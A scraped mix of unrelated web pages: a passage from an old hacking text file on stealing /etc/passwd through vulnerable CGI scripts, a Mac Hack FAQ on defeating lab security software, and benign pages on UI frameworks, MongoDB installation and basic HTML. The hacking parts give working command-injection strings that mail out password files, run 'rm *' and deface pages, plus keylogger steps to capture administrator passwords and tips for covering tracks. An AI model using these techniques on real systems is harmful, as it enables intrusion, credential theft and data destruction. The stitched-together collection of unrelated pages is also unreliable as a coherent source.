er phf in this file but, feel free to explore other programs in the cgi directory such as nph-test-cgi or test-cgi. And now . . . get comfortable... sit back.... and read.

II - Hacking from your Web Browser

There are several techniques on what I call "Web Browser Hacking".  Many beginners dont know that you cant query a etc/passwd file from your browser and in this chapter I will describe all the ways to aquire a passwd file.  First you need to find a box t

hat is running the cgi-bin/phf file on their system. A great way to find out without trial and error is to go to www.altavista.com and just search on cgi-bin AND perl.exe or cgi-bin AND phf.

  a.  Finger box hacking:  
	Lets say you wanted to break into somewhere like .... hmmmm AOL.  The first thing we would do is type in their web site in the URL:  [Http://www.aol.com](Http://www.aol.com "Linkify Plus Plus").  The next thing we would do is add /cgi-bin/finger to the web URL so it would look like this Http://

www.aol.com/cgi-bin/finger. If the finger gateway is operational a box should appear for you to enter the name you want to finger. If it is operational you have a chance to receive the etc/passwd file. Next thing you will probably want to do is search

for a mailto on the web page... just scan the page for any mailto refs. Go back to the finger box and type in this query...... [email protected] ; /bin/mail [email protected] < etc/passwd ...this string takes nobody and emails the passwd file to your email

address. If this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.

   b.  The common cgi-bin/phf query:
	This section is for the very beginning hacker (All advanced hackers need not apply)  Lets take the same scenerio from the first example except in the URL we would type ... [Http://www.aol.com/cgi-bin/phf](Http://www.aol.com/cgi-bin/phf "Linkify Plus Plus") ... if the phf is operational and has not been rem

oved you should get a series of search boxes on the next page ( ignore these boxs) to your URL you would add this string ?Qalias=x%0a/bin/cat%20/etc/passwd... so the entire string would look like this Http://www.aol.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20

/etc/passwd. This string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it. (This is considering that they are not :*: or ❌).

    c.  Dont take my cgi form:
	This section will explain how to use somebody else's cgi form to obtain the etc/passwd file.  Lets say you look at a document source from a web page and find this in the source: 
                        <html><body>
                        <h2>This is a form to go to Modify</h2>
	    <form action = "[http://www.aol.com/cgi-bin/doc.pl](http://www.aol.com/cgi-bin/doc.pl "Linkify Plus Plus")"  method="get">
                        <input type="hidden" name="myaddress" value="[[email protected]](mailto:[email protected] "Linkify Plus Plus")">
	    <input type="text" name="input">
	    <input type="submit" value="send">
	    </form>
	    </body></html>

This is a simple form that asks a user to input a message to be sent to a script called doc.pl. Included in the doc.pl script is the following line which is assuming the line has already been parsed out.

	     system("/usr/lib/sendmail -t $myaddress < $tempfile")

Now lets set up your page:

	    <html><body>
	    <h2>Hack AOL</h2>
	    <form action = "[http://www.aol.com/cgi-bin/doc.pl](http://www.aol.com/cgi-bin/doc.pl "Linkify Plus Plus")" method = "get">
	    <input type="hidden"  name="myaddress"
		value=" ; rm * ;mail -s file [[email protected]](mailto:[email protected] "Linkify Plus Plus") < 			/etc/passwd;">
	    <input type = "text" name="input">
	    <input type = "submit" value=:"getpasswd">
	    </form>

The semicolons in the hidden value field act as delimiters, they separate the UNIX commands, this executes commands on the same line. The system call in PERL and creates a UNIX shell, and in here mails the passwd file to you.

    d.  Changing web pages from your browser:
	This short section will describe the string to use to edit a web page from your web browser.  Same scenario as the first section....  [http://www.aol.com](http://www.aol.com "Linkify Plus Plus").... we will then add the following string cgi-bin/phf?Qalias=x%0a/bin/echo%20 "some text and shit"%2

0>>filename.html...... This string will allow you to write to the filename.html and add "some text and shit" be noted it has to be in html format. You can place text, pictures or whatever you like.

III - Conclusion

This information should be able to direct a beginner in obtaining the etc/passwd file from a system using the web browser... It may also inform the guru's and advanced hackers some bits of information of perl and cgi.  In further reading check out my sec

ond file that will involve erasing log files from the web browser. I hope you all enjoyed this documentation and found it somewhat interesting...... wake up!!! thus I conclude.....

                                                          Modify.

IV - Suggested Reading

Phrack Magazine:  Very informative.... covers just about everything from phreaking to hacking.... Just download all the damn articles.

Building Internet Firewalls by O'Reilly & Associates, Inc. aka "The Big Wooden Door"":  Covers all kinds of attacks, different firewall solutions, and invulnerablities.

Perl in 21 days by Samsnet:  Good starting book in Perl programming also covers security issues.

Cgi programming by Samsnet:  Good starter for Cgi but if you dont know Perl or C programming then dont bother, also covers security issues.

************************************************************************
www.technophoria.com

set Restriction

Add Tags ?

AddDeleteNo

close

close

Free Web UI Libraries, Frameworks and Toolkits - Designmodo

      Free Web UI Libraries, Frameworks and Toolkits - Designmodo                                                   set Restriction 




menu

Free Web UI Libraries, Frameworks and Toolkits

ResourcesScripts 4 minutes

Free Web UI Libraries, Frameworks and Toolkits

[

Andrian Valeanu

](https://designmodo.com/author/adrian/ "Posts by Andrian Valeanu")

ResourcesScriptsAndrian Valeanu • June 16, 2012 

Share

  • Share
  • Tweet
  • Share
  • Pin It

Most of the high class web applications that normally we see on the web depend on a delicate set of UI libraries, controls and frameworks. The Web UI is basically an HTML / Javascript based application that is used to construct and manage the server appliance from a remote client. In order to build a consistent and reliable UI (User Interface), you need to extend your Web UI. There are several types of UI framework available in the market. These frameworks are used to create the user interfaces. Nowadays, various types of Web UI frameworks are available in multiple languages.

The framework allows the user to find the desired task quickly by providing navigation items and taskbars. However, not all UI libraries are suitable for a project. So the web developers have to choose the right Web UI libraries for the right project. Otherwise the project will not be successful.

Though there are plenty of UI frameworks available in the market, most of the developers prefer to use a single UI framework. They rely on it since they find it trusted, effective, easy to use and helpful as well. If you are a web developer and want to find out some Javascript web UI libraries, frameworks and toolkits, you must take the help of internet. There are lots of ideas and examples of professional Web UI libraries and frameworks that could help you to build your own UI. The toolkits available are also immensely helpful in creating the user interface.

Some Examples of UI Framework:

  1. Windows.Forms
  2. GTK
  3. QT
  4. WPF (+Silverlight)
  5. wxWidgets
  6. Swing
  7. AWT
  8. SWT
  9. X/XT/Motif

Some of the UI frameworks are perfect for building mobile web applications. These are extremely light weight since all of the cross browser compatibility codes that are non essential for mobile app development are stripped out.

On the other hand there are UI frameworks that are solely used for the uniform iPhone apps. There is UI toolkit that is written in simple JavaScript and is created to speed up the web application just like the desktop. It normally comes with a high class view-component library. In this type of UI toolkit you don’t need to install any framework or include CSS.

There are UI frameworks that are used in order to develop speedy web applications, web sites, web desktops, widgets, modal dialogs, standalone windows and much more to name. Components of a UI framework include tree grid, dialog, tabs and time line, etc.

JavaScript UI framework is based on Mool Tools. Basic components that are required by most applications such as, buttons, tabs, menus, trees, and dialogs, as well as a few more capabilities are provided by this UI framework. On the other hand, there are rich and well organized widgets that control the web 2.0 applications by using the Prototype JavaScript Framework.

Some of them have an integrated set of tools to enable the developers to develop and organize sophisticated user interfaces for several types of web applications. Generally, these tools include an XML markup language, JavaScript runtime, page compiler, control library, data binding engine, animation engine, runtime inspector, cross-platform library, Ajax as well as back button support.

Online HTML Email Template Builder

With Postcards you can create and edit email templates online without any coding skills! Includes more than 100 components to help you create custom emails templates faster than ever before. Try now for free!

Learn MoreOther Products

The most exciting part of all these user interfaces is that you can easily avail them on the internet. You can see the examples and demos of all these UI frameworks, libraries and toolkits and then decide which one would be best for your Web UI framework. You can download them for free and enjoy a more improved UI toolkit or framework as well. However, you must check the license of the toolkit and frameworks before you download them on your PC.

Web UI Libraries, Frameworks and Toolkits

Bootstrap, from Twitter


YUI Library


Alloy UI

 

script.aculo.us

 

jQuery UI

 

Dojo Toolkit

 

JxLib

LivePipe UI

Like what you're reading? Subscribe to our top stories.

arrow_forward

I agree to storage of my email according to Privacy Policy.

Andrian Valeanu

Designmodo Founder. From
, based in
, I speak



, my activity



 
.

Posts by Andrian Valeanu

Share post

  • Share
  • Tweet
  • Share

Related Articles

Earn 25% commission on affiliate sales

We build high-quality products

Designmodo offers advanced drag and drop website and email builders for web designers and developers, we have everything you need to make money.

Estimate Revenue Become an Affiliate keyboard_arrow_right

Search_keyboard_return_

We use cookies to ensure that we give you the best experience on our website.

Read our Privacy Statement.

550K Followers

shopping_cart Cart

Your cart is empty

Go to Shop Go to Market

Add Tags ?

AddDeleteNo

close

close

Install MongoDB Community Edition on macOS — MongoDB Manual

Install MongoDB Community Edition on macOS — MongoDB Manual set Restriction


Documentation

ServerDriversCloudToolsGuides

Get MongoDB

Close ×

MongoDB Manual

4.2 (current)

Navigation

Install MongoDB Community Edition on macOS

On this page

Overview

The following tutorial uses Homebrew to install MongoDB 4.2 Community Edition on macOS systems. To install a different version of MongoDB, please refer to that version’s documentation. For example:

Platform Support

MongoDB 4.2+ only supports macOS versions 10.12+ on Intel x86-64. See Supported Platforms for more information.

Install MongoDB Community Edition

Prerequisites

If you have the Homebrew brew package installed on your OSX host and you have previously tapped the official MongoDB Homebrew Tap, skip to the prerequisites and go to the Install MongoDB step.

Install Homebrew

OSX does not include the Homebrew brew package by default. Install brew using the official instructions.

Tap the MongoDB Homebrew Tap

Issue the following from the terminal to tap the official MongoDB Homebrew Tap:

copy

copied

brew tap mongodb/brew

Install MongoDB

From a terminal, issue the following:

copy

copied

brew install [email protected]

Tip

If you have previously installed an older version of the formula, you may encounter a ChecksumMismatchError. To resolve, see Troubleshooting ChecksumMismatchError.

In addition to the binaries, the install creates:

Run MongoDB

From a terminal, issue the following to run MongoDB (i.e. the mongod process) in the foreground.

copy

copied

mongod --config /usr/local/etc/mongod.conf

Alternatively, to run MongoDB as a macOS service, issue the following (the process uses the /usr/local/etc/mongod.conf file created during the install):

copy

copied

brew services start [email protected]

Connect and Use MongoDB

To begin using MongoDB, connect a mongo shell to the running instance. From a new terminal, issue the following:

copy

copied

mongo

For information on CRUD (Create,Read,Update,Delete) operations, see:

Additional Considerations

Troubleshooting ChecksumMismatchError

If you have previously installed an older version of the formual, you may encounter a ChecksumMismatchError, as in the following example:

copy

copied

Error: An exception occurred within a child process:

ChecksumMismatchError: SHA256 mismatch

Expected: c7214ee7bda3cf9566e8776a8978706d9827c1b09017e17b66a5a4e0c0731e1f

Actual: 6aa2e0c348e8abeec7931dced1f85d4bb161ef209c6af317fe530ea11bbac8f0

Archive: /Users/kay/Library/Caches/Homebrew/downloads/a6696157a9852f392ec6323b4bb697b86312f0c345d390111bd51bb1cbd7e219--mongodb-macos-x86_64-4.2.0.tgz

To retry an incomplete download, remove the file above.

To fix:

  1. Remove the downloaded .tgz archive.

  2. Retap the formula.

    copy

    copied

    brew untap mongodb/brew && brew tap mongodb/brew

  3. Retry the install.

    copy

    copied

    brew install [email protected]

Localhost Binding

Starting with MongoDB 3.6, MongoDB binaries, mongod and mongos, bind to localhost by default.

When bound only to the localhost, these binaries can only accept connections from clients that are running on the same machine. Remote clients cannot connect to the binaries bound only to localhost. For more information, including how to override and bind to other ip addresses, see Localhost Binding Compatibility Changes.

←   Install MongoDB Community Edition on Amazon Linux Install using .tgz Tarball on macOS  →

© MongoDB, Inc 2008-present. MongoDB, Mongo, and the leaf logo are registered trademarks of MongoDB, Inc.

Search Results

  • MongoDB Manual
  • All Results

Was this page helpful?

YesNo

Add Tags ?

AddDeleteNo

close

close

  • Add to Phrasebook

    • No word lists for English -> English...

    • Create a new word list...

  • Copy

web.textfiles.com/hacking/macfaq.txt

            \-\-\-=====\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+=====\-\-\-
  	   \-\-===\+    Mac Hack FAQ:   +===--
  	      \-=\+ Defeating Security +=-
		++++++++++++++++++++++

xxxxxxxxxxxxxxxxx-==< THE MACINTOSH HACK FAQ INDEX >==-xxxxxxxxxxxxxxxxx

A. Notes
B. What are the general techniques for bypassing mac security measures?
C. What do I do after I get to the finder?
D. How do I bypass HD driver protection?
E. Miscellaneous hacks and info
F. Related anonymous ftp sites

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

A. NOTE

COMMON SENSE DISCLAIMER:
I can not held responsible for any damage that might occur from
experimenting with the techniques herein. Some may be completely wrong,
others may only work on certain macs and particular versions of
software. If you screw something up, it's your ass. Run like hell and/or
play computer illiterate. I do not support breaking laws of any
race, creed or short-sightedness...

B. WHAT ARE THE GENERAL TECHNIQUES FOR BYPASSING MAC SECURITY MEASURES?

*** Disable System Extensions by holding down the Shift-key during
start-up. This is one of the easiest techniques but you would be
surprised how often it works! On Classics, try booting up off the
ROM disk by holding down Command-Option-x-o during boot-up.
*** Find the Finder. On some "secured" systems, you can gain access to
locked folders if you now the name of an unlocked file within. For
example, here is a FoolProof hack:
1) Search for the word 'finder'(a file we know is in the locked system
folder).
2) The locked file opens to display the Finder file. From
here, you can now move the FoolProof Preferences and
Extensions out of the system folder.
3) Reboot.
*** Break into the debugger by hitting the programmer's switch or the
Command-Power key combo. Then type 'G FINDER', or 'G F'. You can
also get to the debugger by holding down the control-command-power
key combo and restarting.
*** Crash the system! In some older security programs, you can get to the
finder by repeatedly opening applications until all the RAM is consumed.
Older versions of At Ease will open a dialogue box that asks if you
would like to quit At Ease to free up RAM. Click yes!
*** Boot from a floppy. Even if your sysadmin has floppy startup
disabled, you should be able to force it by holding down the
command-option-shift-delete key combo to boot the floppy. This key
combo won't let the internal hard drive mount
*** Plug an external hard drive into the SCSI port. Even if your
sysadmin has disabled floppy access and starting up without extensions you
can copy any programs on the drive if you know any of the passwords.
*** Social engineering is almost too obvious (and cliche) to mention,
but it seems to work. Remember to act computer stupid and/or get
really pissy.

C. WHAT DO I DO AFTER I GET TO THE FINDER?

So you have finally found the finder...now what? Now you can

run any programs you want, but why not make things easier on yourself
for your next trip to the finder. If you know that your sysadmin keeps
logs:
1) Copy the system folder to the hard drive.
2) Rename the original system folder.
3) Reboot without At Ease.
4) When you are done, put the real system folder back and
delete the second one.

If you aren't concerned about logs, just move the At Ease Preferences
out of the System Folder:Extensions folder and reboot. Remember to put
them back when you are done. The logs have been bypassed but you really
don't care to be rebooting over and over while the lab monitor glares
at you. It would be much better to have the system supervisor's
password so you can switch back and forth between At Ease and the
finder at will. The easiest way is to install a keygrabber, which is a
system extension that logs and captures all the keystrokes on the
computer. Oasis is a good keygrabber for the mac that can be found on
the internet or alt.2600. Unfortunately it has no documentation. To
use it:
1) Get into the Finder and copy Oasis into the folder:
System Folder:Extensions
2) Wait a few days.
3) Look for the logfiles in:
System Folder:Preferences:~Temporary Folder.

Another keygrabber that is easier to find is MacLifeInsurance. You will have
to weed through several hundred pages of inane poetry, reports and e-mail
to Grandma but eventually one will have the password. If there are large
number of users, you may be able to add your own account and password
with the supervisor's password. Use your discretion. And look for
those keygrabbers on local boards and ftp sites.

D. HOW DO I BYPASS HARD DISK DRIVER PROTECTION (for example: FileGuard's
Volume Protection)?

Hard disk protection lies in a hard disk's driver code, at a

very low level on the disk. This protection is provided by most third
party hard disk formatting software or elaborate security
software(like FileGuard). Here's a quick guide to permanently removing
this protection:
1) Get a high density disk. Install some startup software for
the machine in question. Install some disk formatting software that
lets you install new drivers (like Gold Triangle; maybe
even 'Apple HD SC Setup').
2) Reboot machine. Quickly insert the floppy disk and then
hold down command-option-shift-delete. This prevents the
SCSI Bus from trying to mount the internal hard disk.
3) When the finder loads, run disk formatting software. If you
want to trash the contents of the hard disk, just re-format
the disk. If you want to get at the contents, install a new
driver over the old driver (consult your software manual).

If you need to diasable additional security at the hard disk,
go to 4). Else, go to 5).

4) Reboot machine; boot from floppy again. This time, let the
   hard disk mount. If all went well, no password will be prompted for
   here. When finder loads, remove the security inits/cdevs/programs.
5) Reboot machine; boot from hard disk. No password should be
   prompted for, and life should go on as usual.

NOTE: This process will probably cause the hard disk to crash severely
in the future!!! Only do this if there is something you really need on
the disk. After you copy the needed files to a different place, you
should REFORMAT THE HARD DISK.

This has been tested with FileGuard protection using Golden Triangler.
The tester backed up the source code he was working on, and then continued
using the machine(llsi). The machine crashed within an hour.

E. MISCELLANEOUS HACKS AND INFO

Q: HOW DO I COPY A READ-ONLY FILE?
A: Many utilities allow you to copy read-only files, including
StuffIt, Compact Pro, etc.

Q: HOW DO I ACCESS THE CHOOSER WHEN IT IS PROTECTED ON FOOLPROOF?
A: First try the default password 'foolproof'; Yes, some sysadmins are
that dumb. If it doesn't work, try this:

  1. Make a copy of the chooser.
  2. Use ResEdit or another resource editor to change the creator
    code from 'dfil chzr' 'dfil keyc'.
  3. The default password is reset to 'foolproof'.
  4. Swap the original chooser with the modified copy. Remember to
    cover your tracks and replace the original chooser when you are done.
    NOTE: Make sure you work on copies when using ResEdit, especially when
    you are using someone else's computer.

Q: HOW DO I DEFEAT FILEGUARD'S ENCRYPTION?
A: 1) Use FileGuard to encrypt or copyguard a file with the password
'test', for example.
2) Use ResEdit to copy the resource 'high' from that file.
3) Paste it into the file that contains the unknown password.
4) Save changes and quit.
5) Decrypt the modified file with FileGuard using the password
'test'.

Q: WHERE CAN I GET THE LATEST VERSION OF MACPGP AND THE SOURCE CODE?
A: Telnet to net-dist.mit.edu and login as 'getpgp'. You will have to
answer four short questions to get the name of the file it is in(the
name changes every half hour). Then ftp there and go to the specified
directory. The current version is MACPGP2.6.2. You should also get the
README files as the interface barely follows the Macintosh Interface
Guidelines.

Q: HOW DO I SET A NULL PASSWORD FOR AT EASE(not all versions)?
A: 1) Open the file System Folder:At Ease:At Ease Preferences with
MSWord or any other text editor.
2) Look for the string "MFDR\ ]".
3) Delete everything between "\" and "]".
4) Save the changes and you have a null password.
Now you can go to At Ease Setup and change the password to whatever
you want!

Q: WHAT DO I DO IF I FORGET THE ADMINISTRATOR'S PASSWORD[in At Ease]?
A: <excerpt from the At Ease for Workgroups 2.0.1 update help files>

"IF YOU FORGET THE ADMINISTRATOR'S PASSWORD

If you forget the At Ease administrator's password, follow the
directions below instead of those in the manual. If your startup disk
is locked, you'll first need to run the Unlock application on the AT
Ease 2.0 Utilities disk to unlock the start-up disk. Consult the
manual for information about the Unlock application.

1. Start up your computer from another startup disk.
[...BS...]
2. Open the System Folder of your usual startup disk.
3. Open the At Ease Items folder inside your System Folder.
4. Drag the At Ease Preferences file into the trash.
5. Hold down the Option key while you choose Empty Trash from the
Special menu.
6. Restart from your usual startup disk.
7. Open the At Ease Setup for Workgroups aplication.

If you are using an AppleShare server volume as the At Ease disk, your
setups may not appear until you reset the At Ease disk to this server
volume.

8. Reconnect to the server volume and use the At Ease Disk command to
reselect the volume.

Make sure you use the information on the server instead of replacing
it with the information on the startup disk.

9. Add a new password and clue.
10. Make sure the following options set correctly:
* Allow Remote Administration checkbox
* Lock Startup Volume checkbox
11. Turn At Ease back on.
12. Quit At Ease Setup for Workgroups."

> Where do you get the Unlock application? Beats the hell out of me.

F. RELATED ANONYMOUS FTP SITES

There seems to be a serious lack of accessible FTP sites that

carry Macintosh hacking utensils, etc. I have hardly found any that I
can post.

* SITE: net-dist.mit.edu
* PATH: ?
* FILES: MacPGP2.6, MacPGP2.6 source code
To get the path, you must telnet to net-dist.mit.edu and login as
'getpgp'. You will have to answer four short questions to get the name
of the directory it is in(the name changes every half hour). You
should get the README file as the interface barely follows the
Macintosh Interface Guidelines.

* SITE: ftp.netcom.com
* PATH: /pub/bradleym
* FILES: MacRedBox, VirtualQuarter, ...
Not much in the way of a Mac ftp site but it has four or five phreak
utilities.

* SITE: sekurity.com
* PATH: /pub/incoming
* FILES: unknown
Sometimes they have mac stuff. They used to have Oasis... Just look
for the familiar .hqx or .sit suffixes.

-shiva

--=====================_832156329==_
Content-Type: text/plain; charset="us-ascii"

--=====================_832156329==_--

set Restriction

Add Tags ?

AddDeleteNo

close

close

Best UI Frameworks for your new React.js App. - By

 Best UI Frameworks for your new React.js App. - By              set Restriction  


Subscribe

Crypto / Blockchain Coding A.I. Futurism Startups About Podcast Community

Get Help

Start Writing

Sponsors

Effect of Tech

Framing Realities

Startups Advice

FAAGM

Podcast

Engineering

Languages

Security

Artificial Intelligence

Browse by Category

Top Discussions

Crypto

Blockchain


Find your next job with Indeed Prime #Sponsor
The Noonies : Tech's Greenest Awards #Advocate

Vladimir Metnew

@vladimirmetnew

Best UI Frameworks for your new React.js App.

April 25th 2017

Tweet This

Build your apps only with best UI frameworks.

Material-UI

Material-UI

callemall/material-ui
_material-ui - React Components that Implement Google's Material Design._github.com

A Set of React Components that ImplementGoogle’s Material Design

Also, It’s one of the first UI kits for React. Material-UI has all components that you need_(and even more)_. Material-UI is very configurable with predefined color palette and<MuiThemeProvider> that allows you to define a custom color theme for your app.

Personally, I don’t like it. Material UI had performance problems, but according to 3.0 release performance was improved.

React Desktop

React Desktop | React UI Components for OS X El Capitan and Windows 10
React UI Components for OS X El Capitan and Windows 10reactdesktop.js.org

React UI Components for MacOS Sierra and Windows 10.

I’m sure you know about Electron framework. If you’re interested in UI components for cross-platform desktop apps then React-Desktop is for you. You can find UI components for Mac OS and Windows 10 both.

Semantic-UI-React

Semantic-Org/Semantic-UI-React
_The official Semantic-UI-React integration_github.com

The official Semantic-UI-React integration

Semantic-UI-React— is the official clone of Semantic-UI for React. It has almost all most used components from Semantic-UI, but also it has a very good Declarative API, shorthand props for React components, and this UI framework is jQuery-free.

Also, I have a starter(with demo) built with React-Semantic-UI, Webpack, and other awesome stuff.

Ant-design

ant-design/ant-design
_ant-design - 🐜 A UI Design Language_github.com

An enterprise-class UI design language and React-based implementation.

From official docs:

  • An enterprise-class UI design language for web applications.
  • A set of high-quality React components out of the box.
  • Written in TypeScript with complete define types.
  • A npm + webpack + dva front-end development workflow.

It supports browser, server-side rendering and Electron environments, has many components and even a tutorial with Create-react-app.

Ant-design demo here.

Blueprint

palantir/blueprint
_blueprint - A React-based UI toolkit for the web_github.com

From docs:

It is optimized for building complex, data-dense web interfaces for desktop applications. If you rely heavily on mobile interactions and are looking for a mobile-first UI toolkit, this may not be for you.

Written in TypeScript, has good documentation. Docs: It includes many (30+) React components covering all the basic bases, from buttons to form controls to tooltips and trees. It also includes CSS styles for every component and the tools to style your own components and apps with Sass and Less variables, an elegant color palette, and 300+ UI icons in two sizes.

React-Bootstrap

react-bootstrap/react-bootstrap
_react-bootstrap - Bootstrap 3 components built with React_github.com

Bootstrap 3 components built with React.

From official docs: React-Bootstrap is a library of reusable front-end components. You’ll get the look-and-feel of Twitter Bootstrap, but with much cleaner code, via Facebook’s React.js framework. 
Briefly, It’s old good known Bootstrap components written in React.

React-Toolbox

react-toolbox/react-toolbox
_react-toolbox - A set of React components implementing Google's Material Design specification with the power of CSS…_github.com

A set of React components implementing Google’s Material Design specification with the power of CSS Modules

Have you heard about CSS Modules? React-Toolbox relies on it. It allows you to use only required CSS without using tools like Purify-CSS. Besides, React-Toolbox is highly-customizable framework with 3o+ components out-of-box.

Grommet

grommet/grommet
_grommet - The most advanced UX framework for enterprise applications._github.com

The most advanced UX framework for enterprise applications.

I can’t call Grommet as a UX framework, it’s much bigger
A lot of UX components and utils written with React + own grommet-cli +“getting started” guide + prebuilt templates + good docs + integration with Sketch = Grommet.

Fabric

OfficeDev/office-ui-fabric-react
_office-ui-fabric-react - React components for building experiences for Office and Office 365._github.com

React components for building experiences for Office and Office 365.

In last few years Microsoft supported and built many open-source projects — Angular 2, TypeScript, VS Code(based on Electron), and Fabric.

Fabric is the official Office library that is written in TypeScript, has “getting started” guide, blog, official palette and fonts, and all components that you need in your project.

Microsoft amazed me. Thanks @aslamhadi for this link.

React-md

mlaursen/react-md
_react-md - React material design_github.com

Yet another one library which implements Material Design. But wait, give it a chance. React-md can be easily customized to your needs, is good documented and has a “getting started” guide, has many common Material components. There is only one issue — library is maintained and developed by one contributor. If you want contribute to open-source project — React-md may be a good choice for it.
Thanks to Nikita Sukhov for recommendation of this library.

Github: https://github.com/Metnew
Twitter: https://twitter.com/coldlinecall




Hacker Noon is how hackers start their afternoons. We’re a part of the @AMI family. We are now accepting submissions and happy to discuss advertising & sponsorship opportunities.

If you enjoyed this story, we recommend reading our latest tech stories and trending tech stories. Until next time, don’t take the realities of the world for granted!

Web Development Javascript React Ui Design Material Design

Continue the discussion

More by Vladimir Metnew

[

](https://hackernoon.com/i-give-you-a-working-exploit-for-stable-chrome-on-mac-8ac49af40910)

Your privacy costs ~$7500.

Vladimir Metnew

Security

[

](https://hackernoon.com/javascript-compilation-epoch-ebfb7b5bb664)

Compile JavaScript? Really?

Vladimir Metnew

May 07

Javascript

[

](https://hackernoon.com/next-js-razzle-cra-why-you-should-use-them-for-a-next-project-a78d320de97f)

Next.js, Razzle, CRA. Why you should use them for a next project.

Vladimir Metnew

Javascript

[

](https://hackernoon.com/strategical-view-part-1-9a1da295a3c1)

Base recommendations for React apps.

Vladimir Metnew

Javascript

[

](https://hackernoon.com/the-react-is-dead-long-live-the-react-e97eea715f1c)

The React is dead. Long live the React!

Vladimir Metnew

Aug 19

Javascript

Hackernoon Newsletter curates great stories by real tech professionals

Get solid gold sent to your inbox. Every week!

Topics of interest

  • Software Development
  • Blockchain Crypto
  • General Tech
  • Best of Hacker Noon

More Related Stories

[

](https://hackernoon.com/%EF%B8%8F-desktop-apps-for-front-end-development-my-workspace-f2190713f6b1)

️ Desktop apps for Front-end development. My workspace.

Alexander Buzin

Feb 15

Web Development

[

](https://hackernoon.com/%EF%B8%8F-the-7-pro-tips-to-get-productive-with-angular-cli-schematics-b59783704c54)

‍️ The 7 Pro Tips To Get Productive With Angular CLI & Schematics

Tomas Trajan

Jan 15

Angular

[

](https://hackernoon.com/10-react-js-articles-every-web-developer-should-read-f5b745a348dc)

10 React JS Articles Every Web Developer Should Read

javinpaul

Oct 05

React

[

](https://hackernoon.com/12-best-free-material-design-ui-kits-for-sketch-psd-in-2018-52bcdf1c0eb8)

12 Best Free Material Design UI Kits for Sketch & PSD in 2018

Annie Dai

Nov 28

Design

[

](https://hackernoon.com/animations-in-react-at-60fps-an-introduction-to-react-pose-6db5a1c1e0ae)

Animations in React at 60fps! An introduction to React-Pose

Dominik Tarnowski

React


Help About Start Writing Sponsor: Brand-as-Author Sitewide Billboard

Contact Us Privacy Terms

Add Tags ?

AddDeleteNo

close

close

Beginners' Guide to HTML or, How To Make Your First Web Site - http://www.webdeveloper.com

      Beginners' Guide to HTML or, How To Make Your First Web Site - http://www.webdeveloper.com            set Restriction  

|

|   
|    |
|
| WebDev Jobs |
|
|
|
| Animated GIFs
CSS
CSS Properties
Database
|
| Design
Flash
HTML
HTML 4.01 Tags
|
| JavaScript
.NET
PHP
Reference
|
| Security
Site Management
Video
XML/RSS
| |
|
| |
| |
|
|
|
|  Client-Side
  Development

    HTML
    XML
    CSS
    Graphics
    JavaScript
    ASP
    Multimedia
    Web Video
    Accessibility
    Dreamweaver
    General
    Accessibility
    Dreamweaver
    Expression Web

    General

 Server-Side
  Development

    PHP
    Perl
    .NET
    Forum, Blog, Wiki & CMS
    SQL
    Java
    Others

 Site Management
    Domain Names
    Search Engines
    Website Reviews

 Web Development
  Business Issues

    Business Matters

 Etc.
    The Coffee Lounge
    Computer Issues
    Feedback

| |
|
|

|

Beginners' Guide to HTML or, How To Make Your First Web Site

Beginners' Guide to HTML

or,
How To Make Your First Web Site

All About HTML:

Starting With The Basics
By Web Developer® Staff


What is a Web page? What, in brief, are Web pages capable of doing?
A Web page is an Internet "document" that can be accessed by Internet users with an HTML browser (such as Netscape or Microsoft). By providing the browser with a unique address, or Uniform Resource Locator (URL, variously pronounced "you-are-ell" or "earl"), you open the page with that address. Web pages commonly provide text, pictures or other graphics, and links to other pages. Newer technology also allows Web pages to provide three-dimensional images, animated images, and sound.


Back to top of page


What does HTML stand for? What is it?
HTML, or Hypertext Markup Language, is a language that uses text and a defined set of commands (known as tags) to create most of what you see on a World Wide Web page. The tags can serve two distinct functions: They either "tell" the text how to behave (bold, italic, etc.), or make the text act as a command to insert a link, picture, or sound onto your page.


Back to top of page


What is the best way of going about learning HTML?
Reading helps, and so does practical experience; we recommend a combination of both. You should start by finishing off the rest of this page--it gives you a manageable-sized portion of answers to questions you may have. You'll undoubtedly have more complicated questions as you learn more.

One the best ways to learn HTML is to see how other people have done it! Using your favorite browser, find your favorite page. Then look for the "Source" or "Document Source" command under the "View" menu. This will show you a window with all of the HTML used to create that page. Look it over; more times than not, you'll be surprised at the relatively few commands it took to put together what seemed at first like a complicated page!


Back to top of page


What do I use to write HTML? Is there a specific piece of software?
The easiest way is to use a WYSIWYG (what you see is what you get) Web page creation program, which operates much like a word processing package and (with a bit of your help) not only writes your HTML for you, but also helps you put together your page from start to finish. These programs are especially useful for those who don't have the time or the inclination to learn all the nuts and bolts of HTML, but you should at least have a cursory knowledge of HTML before using them.

Once people start working in HTML on a production level, they often use HTML editors, which have special features (such as automatically inserting closing tags; see below) that make HTML work fast and easy for people who know what they're doing.

HTML files are basically simple plain ASCII text files that can be created with any text editor such as BBEdit for Macintosh, or Notepad if you are using Windows. If you don't want to invest in either of these programs, you can use your word processor program of choice; just make sure that when you save your document, you save it as "text only with line breaks," and make sure the filename ends in ".htm" or ".html".


Back to top of page


What are the required elements for an HTML document? Can you show me an example?
Every HTML document does require certain tags in order for it to work. All of the basic tags work in pairs; whatever tag you use must have a matching end tag in order for the browser to denote the beginning or end of a style or command. The only difference between the beginning and ending tag in the pair is that the / must be used with the second, or closing tag. All tags must be surrounded by < and >, but are not case-sensitive; that is, typing in HtmL will be read by the computer the same as HTML. For a basic HTML document, you need only the five tags that are contained in the following:

<TITLE>We Help You Make Your Own Web Page</TITLE>

Question Five of the Web Developer® Beginners HTML Page

This is a short example of how easy it is to make your own Web page.

If you follow the guidelines here, you will be on the Internet in no time!

In this example:

indicates that this is a piece of HTML code. is the first distinct part of your document. It contains the TITLE. <TITLE> provides a title in the header for your document. It is also what will be displayed by a browser when someone matches the keywords that are applicable to your site. is the second and most distinct part of your HTML document. It contains all of the body text; which can come in six sizes.

denotes the size of this piece of body. For more information on body sizes, see the intermediate HTML page. It will also contain other tags, such as those that will link your page to others, and those that will spice up your page with images and sounds.

denotes the start of a new paragraph.


Back to top of page


How do I put pictures on my Web site?
